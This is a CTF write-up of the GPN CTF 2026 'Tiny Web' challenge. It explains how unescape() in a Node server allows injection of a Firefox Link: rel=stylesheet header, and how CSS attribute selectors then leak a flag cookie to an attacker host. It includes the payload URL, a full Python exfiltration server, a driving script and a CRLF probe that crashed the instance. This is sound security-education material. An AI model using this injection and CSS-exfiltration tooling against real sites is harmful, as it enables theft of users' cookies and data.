Challenge: Tiny Web · CTF: GPN CTF 2026 · Category: Web

Flag: GPNCTF{COd3_gO1f_15_Fun__FIr3FoX_FeAtuREs_TOO}

Some of the best web challenges fit in a single tweet. tinyweb is one of those: the entire vulnerable application is one line of JavaScript. No framework, no database, no routes — just a raw Node http server that echoes two things back to you. And yet getting the flag out of it takes a genuinely fun chain that ends in a place most people don’t expect: the browser applying a stylesheet it was told about in an HTTP response header.

This is the story of how unescape, a quirks-mode document, and a Firefox feature combine into a cookie-stealing CSS injection.


The target

We were handed three files. The interesting one is index.js:

1
2
3
4
5
6
7
require('http').createServer((a,b)=>
  b.writeHead(200,{
    'content-type':'text/html',
    link:`<${unescape(a.url)}>;rel=preload;as=fetch`
  })
  + b.end(`<body onload=fetch('${a.headers.cookie}')>`)
).listen(8080)

There’s an admin bot (admin.js) and a Caddy reverse proxy (Caddyfile) sitting in front of it all:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// admin.js (trimmed)
app.get('/bot/run', async (req, res) => {
  const targetUrl = req.query.url
  if (typeof targetUrl === 'string' && !targetUrl.startsWith('http://localhost:8080')) {
    return res.send('invalid url')
  }
  const browser = await firefox.launch({ headless: true })
  const page = await browser.newPage()
  await page.goto('http://localhost:8080', { waitUntil: 'domcontentloaded' })
  await page.evaluate(flag => document.cookie = "flag="+flag, process.env.FLAG)
  await page.goto(targetUrl, { waitUntil: 'domcontentloaded', timeout: 15000 })
  await sleep(30000)
  await browser.close()
})
1
2
3
4
5
# Caddyfile
:80 {
    handle /bot* { reverse_proxy localhost:8081 }
    handle      { reverse_proxy localhost:8080 }
}

So the setup is:

  • The bot launches Firefox (Playwright), visits http://localhost:8080, and stores the flag as a cookie: document.cookie = "flag=" + FLAG.
  • It then navigates to a URL we supply, as long as it starts with http://localhost:8080.
  • The page is rendered for 30 seconds before the browser closes.

Our job: get FLAG out.

What the server actually does

A quick curl makes both reflections obvious:

1
2
3
4
5
6
7
$ curl -i 'https://<target>/' -H 'Cookie: flag=GPNCTF{demo}'

HTTP/1.1 200 OK
Content-Type: text/html
Link: </>;rel=preload;as=fetch

<body onload=fetch('flag=GPNCTF{demo}')>

Two attacker-influenced sinks:

  1. The body — the entire Cookie header value is reflected verbatim into an onload handler. When the bot loads any page on localhost:8080, the flag lands here as <body onload=fetch('flag=GPNCTF{...}')>.
  2. The Link header — the request path is passed through unescape() and placed between angle brackets: Link: <...>;rel=preload;as=fetch.

unescape() is the legacy cousin of decodeURIComponent. It turns %XX sequences into their corresponding characters and leaves everything else untouched. Importantly for us, that means we control the raw bytes of the Link header value, including characters like <, >, ;, and , that have structural meaning in that header.


The trap: CRLF response splitting

The first thing most players try when they see unescape(url) going into a header is CRLF injection:

1
GET /%0d%0aX-Injected:%20yes HTTP/1.1

In older Node versions this would let you inject arbitrary headers (or split the response entirely). Don’t try it here. This is what happens:

1
2
$ curl -i 'https://<target>/%0d%0aX-Injected:%20yes'
HTTP/1.1 502 Bad Gateway

And every subsequent request to that instance returns 502 until it’s redeployed. Modern Node (v22 here) validates header values before writing them and throws ERR_INVALID_CHAR on a raw \r or \n. Because there’s no try/catch around writeHead, this is an unhandled exception — which kills the process. No supervisor, no restart. The instance just dies.

I took down the first challenge instance with this exact probe. Classic.

Even if Node somehow let it through, Caddy sits upstream and re-parses the response from Node. It would reject malformed headers before they reached the browser anyway.

CRLF is a dead end on both counts. But unescape is clearly intentional — the question is what else it enables.


Mapping the actual constraints

Before diving into payloads, it pays to be precise about what we can and can’t do. Several “obvious” approaches fail silently if you don’t think them through:

Can we steal the cookie directly?
No. The flag cookie is scoped to localhost. It will never be sent to our server. It only travels on requests from the bot to http://localhost:8080.

Can we read the flag page cross-origin?
No. The flag page is http://localhost:8080. Same-Origin Policy blocks cross-origin reads, and there are no CORS headers enabling exceptions.

Can we inject a script into the flag page?
No. The body template is fixed: <body onload=fetch('${cookie}')>. We control the cookie (sort of — only the bot’s cookie matters, and that’s the flag), and we control the Link header. Neither is a script injection point.

Can we redirect the fetch('flag=...') call?
No. It’s a relative URL with no scheme or host — it always resolves against the document’s own origin, localhost:8080.

The inescapable conclusion: the flag can only be read by something running in the localhost:8080 origin. We can’t inject JavaScript there. We need another way.

The way through is to stop thinking about JavaScript and start thinking about CSS.


Here is the feature almost nobody remembers:

Firefox honors Link: rel=stylesheet HTTP response headers, loading and applying the referenced stylesheet exactly as if the document contained <link rel="stylesheet" href="...">.

The Link header is most commonly associated with rel=preload, rel=preconnect, and rel=dns-prefetch. But the spec also defines rel=stylesheet for it, and Firefox implements it. (This was documented as “the Fourth Way to Inject CSS” by Dan Q in 2020 and has appeared in a handful of CTF challenges since.)

Two conditions for this to work as an exfil primitive:

  • The stylesheet must be served with a CSS MIME type — we control our own server, so that’s Content-Type: text/css. ✅
  • The page must not block cross-origin stylesheets — there’s no nosniff, no CSP, and the page is quirks mode (no <!DOCTYPE html>), all of which is favorable. ✅

So if we can smuggle a rel=stylesheet entry into the Link header pointing at a server we control, Firefox will fetch and apply our CSS to the flag-bearing page. And that page has the flag sitting right there in the body element’s onload attribute, readable by CSS attribute selectors.


Building the exploit

Step 1 — Inject the stylesheet Link entry

The server’s Link template is:

1
link: `<${unescape(a.url)}>;rel=preload;as=fetch`

The URL path always starts with /, so after unescape we’re initially inside the first <...>. But the Link header format is a comma-separated list of entries. We can close the current entry and append our own.

Target header:

1
Link: </z>;rel=dns-prefetch,<https://ATTACKER/s.css>;rel=stylesheet,<z>;rel=preload;as=fetch

To produce this, the decoded path needs to be /z>;rel=dns-prefetch,<https://ATTACKER/s.css>;rel=stylesheet,<z. We percent-encode the structural characters so unescape() reconstitutes them:

1
2
3
rest = "z>;rel=dns-prefetch,<https://ATTACKER/s.css>;rel=stylesheet,<z"
enc  = ''.join(ch if ch.isalnum() else '%%%02x' % ord(ch) for ch in rest)
payload_path = "/" + enc

The bot URL we submit:

1
http://localhost:8080/z%3e%3brel%3ddns%2dprefetch%2c%3chttps%3a%2f%2fATTACKER%2fs%2ecss%3e%3brel%3dstylesheet%2c%3cz

Verification (no CRLF, Node stays alive, header injected cleanly):

1
2
$ curl -si "$T/<encoded-path>" | grep -i '^link:'
Link: </z>;rel=dns-prefetch,<https://ATTACKER/s.css>;rel=stylesheet,<z>;rel=preload;as=fetch

Step 2 — Leak the flag via CSS attribute selectors

The flag lives here in the rendered page:

1
<body onload="fetch('flag=GPNCTF{...}')">

CSS lets us match on attribute value prefixes with ^=. When a selector matches, any url() in the rule is fetched. That’s our side-channel:

1
2
3
body[onload^="fetch('flag=GPNCTF{C"] { background: url("https://ATTACKER/h?v=GPNCTF{C") }
body[onload^="fetch('flag=GPNCTF{D"] { background: url("https://ATTACKER/h?v=GPNCTF{D") }
/* ... one rule per candidate character ... */

Exactly one of these fires per page load, and the URL carries the matched prefix — so we learn one new character per bot run.

To go faster I probe two characters at a time: one rule per (c1, c2) pair. With a ~70-character working set that’s about 4,900 rules (~600 KB of CSS). Each bot invocation leaks two more characters. The server auto-advances its known-prefix state after each hit, so the next bot run generates CSS starting one step further along.

Step 3 — The exfiltration server

A small stateful Python server handles everything:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
import http.server, socketserver, urllib.parse, sys, threading

PORT   = 8000
TUNNEL = sys.argv[1]   # public URL of this server
SEED   = sys.argv[2] if len(sys.argv) > 2 else ""  # resume from known prefix

CS = list("abcdefghijklmnopqrstuvwxyz"
          "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
          "0123456789_{}-!?.+'()=")
state = {"known": "fetch('flag=" + SEED}
lock  = threading.Lock()

def css_str(s):
    return s.replace("\\", "\\\\").replace('"', '\\"')

def build_css():
    K, out = state["known"], []
    for c1 in CS:
        for c2 in CS:
            val = K + c1 + c2
            url = TUNNEL + "/h?v=" + urllib.parse.quote(val, safe="")
            out.append('body[onload^="%s"]{background:url("%s")}' % (css_str(val), url))
    # single-char fallback for the last character before '}'
    for c1 in CS:
        val = K + c1
        url = TUNNEL + "/h1?v=" + urllib.parse.quote(val, safe="")
        out.append('body[onload^="%s"]{outline:url("%s")}' % (css_str(val), url))
    return "\n".join(out).encode()

class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, *a): pass

    def do_GET(self):
        u = urllib.parse.urlparse(self.path)
        q = urllib.parse.parse_qs(u.query)

        if u.path == "/s.css":
            body = build_css()
            self.send_response(200)
            self.send_header("Content-Type", "text/css")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            print(f"[css] served, known={state['known']!r}", flush=True)
            return

        if u.path in ("/h", "/h1"):
            v = q.get("v", [""])[0]
            with lock:
                if len(v) > len(state["known"]):
                    state["known"] = v
            flag = v.split("flag=", 1)[-1]
            print(f"[hit] {flag}", flush=True)
            if "}" in flag:
                print(f"\n=== FLAG: {flag[:flag.index('}')+1]} ===\n", flush=True)
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"ok")
            return

        self.send_response(200)
        self.end_headers()
        self.wfile.write(state["known"].encode())

socketserver.ThreadingTCPServer.allow_reuse_address = True
with socketserver.ThreadingTCPServer(("0.0.0.0", PORT), H) as httpd:
    print(f"listening on {PORT}, tunnel={TUNNEL}", flush=True)
    httpd.serve_forever()

The SEED argument is there because tunnels can drop mid-run. Since the server holds the known prefix in memory, restarting with the last known value resumes from where it left off — no characters need to be re-leaked.

Step 4 — The driving loop

The bot endpoint (/bot/run) is synchronous — it blocks until the Playwright session completes — so sequential curl calls naturally space out without any extra sleep:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
BOTRUN="https://<target>/bot/run?url=http%3A%2F%2Flocalhost%3A8080%2F<encoded-path>"
TUN="https://<tunnel>"

while true; do
  resp=$(curl -s --max-time 75 "$BOTRUN")
  flag=$(curl -s "$TUN/status" | sed 's/.*flag=//')
  echo "bot=$resp  flag=$flag"
  case "$flag" in *"}"*) echo "DONE: $flag"; break;; esac
  [ "$resp" = "pls wait" ] && sleep 3
done

Watching it run

Each round the server logs the hit, extends the prefix, and the next round’s CSS is generated dynamically for the new starting point:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[css] served, known="fetch('flag="
[hit] GP
[css] served, known="fetch('flag=GP"
[hit] GPNC
[hit] GPNCTF
[hit] GPNCTF{C
[hit] GPNCTF{COd
[hit] GPNCTF{COd3_
[hit] GPNCTF{COd3_gO
[hit] GPNCTF{COd3_gO1f
[hit] GPNCTF{COd3_gO1f_15_
[hit] GPNCTF{COd3_gO1f_15_Fun_
[hit] GPNCTF{COd3_gO1f_15_Fun__FIr
[hit] GPNCTF{COd3_gO1f_15_Fun__FIr3FoX
[hit] GPNCTF{COd3_gO1f_15_Fun__FIr3FoX_FeAtuRE
[hit] GPNCTF{COd3_gO1f_15_Fun__FIr3FoX_FeAtuREs_TO

=== FLAG: GPNCTF{COd3_gO1f_15_Fun__FIr3FoX_FeAtuREs_TOO} ===

The chain in one diagram

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
attacker submits:
  http://localhost:8080/<crafted-path>
          
          
Node server reflects path into Link header:
  Link: </z>;rel=dns-prefetch,
        <https://ATTACKER/s.css>;rel=stylesheet,    injected
        <z>;rel=preload;as=fetch
          
          
Firefox (the bot) sees rel=stylesheet in Link header
   fetches https://ATTACKER/s.css
          
          
Our server generates CSS for current known prefix:
  body[onload^="fetch('flag=GPNCTF{COd3_gO1f_15_Fu"] {
    background: url("https://ATTACKER/h?v=GPNCTF{COd3_gO1f_15_Fu")
  }
  ... (one rule per candidate pair) ...
          
          
Matching rule fires  browser fetches background image URL
   our server logs the hit, extends known prefix
          
          
Next bot run  next two characters
   repeat until '}'

Why each piece matters

unescape() instead of encodeURIComponent
decodeURIComponent would decode the same %XX sequences. The meaningful difference is that unescape is deliberately permissive with characters Node will still accept in a header value. The challenge author chose unescape specifically because it lets you reconstruct <, >, ;, and , without triggering Node’s CRLF guard — just enough structural control to splice in a new Link entry, not enough to break out of the header entirely.

Firefox
Chrome does not apply Link: rel=stylesheet from response headers. The choice of Firefox in the Playwright bot is load-bearing, not incidental. (The flag spells it out: “FIr3FoX_FeAtuREs”.)

No DOCTYPE — quirks mode
The <body onload=...> document has no <!DOCTYPE html>. Quirks mode relaxes a number of browser security constraints around cross-origin stylesheet loading. Combined with the absence of nosniff, this ensures the cross-origin stylesheet is applied without complaint.

The onload attribute
The cookie value is reflected into the onload attribute of <body>. CSS attribute selectors work on any HTML attribute — onload is no different from data-value from CSS’s perspective. This is an unusual place to look for CSS-readable data, which is part of what makes the challenge elegant.


Takeaways

  1. Link: rel=stylesheet is a real browser feature in Firefox. It’s obscure but spec-compliant. Any time you can control a Link response header (or inject into one via a structural character), in a Firefox context, this is a potential CSS injection primitive.

  2. CSS exfiltration doesn’t need JS. When you’re boxed out of script execution and cross-origin reads, attribute selectors + url() side-channels can still leak data from attribute values — one known prefix at a time.

  3. CRLF-into-headers kills Node processes. Modern Node validates header character ranges before writing them. An uncaught throw from writeHead with no supervisor = dead process. Probe responsibly.

  4. Read the flag. COd3_gO1f_15_Fun__FIr3FoX_FeAtuREs_TOO — “code golf is fun, Firefox features too.” The challenge author put the whole solution in the flag text. Hindsight is wonderful.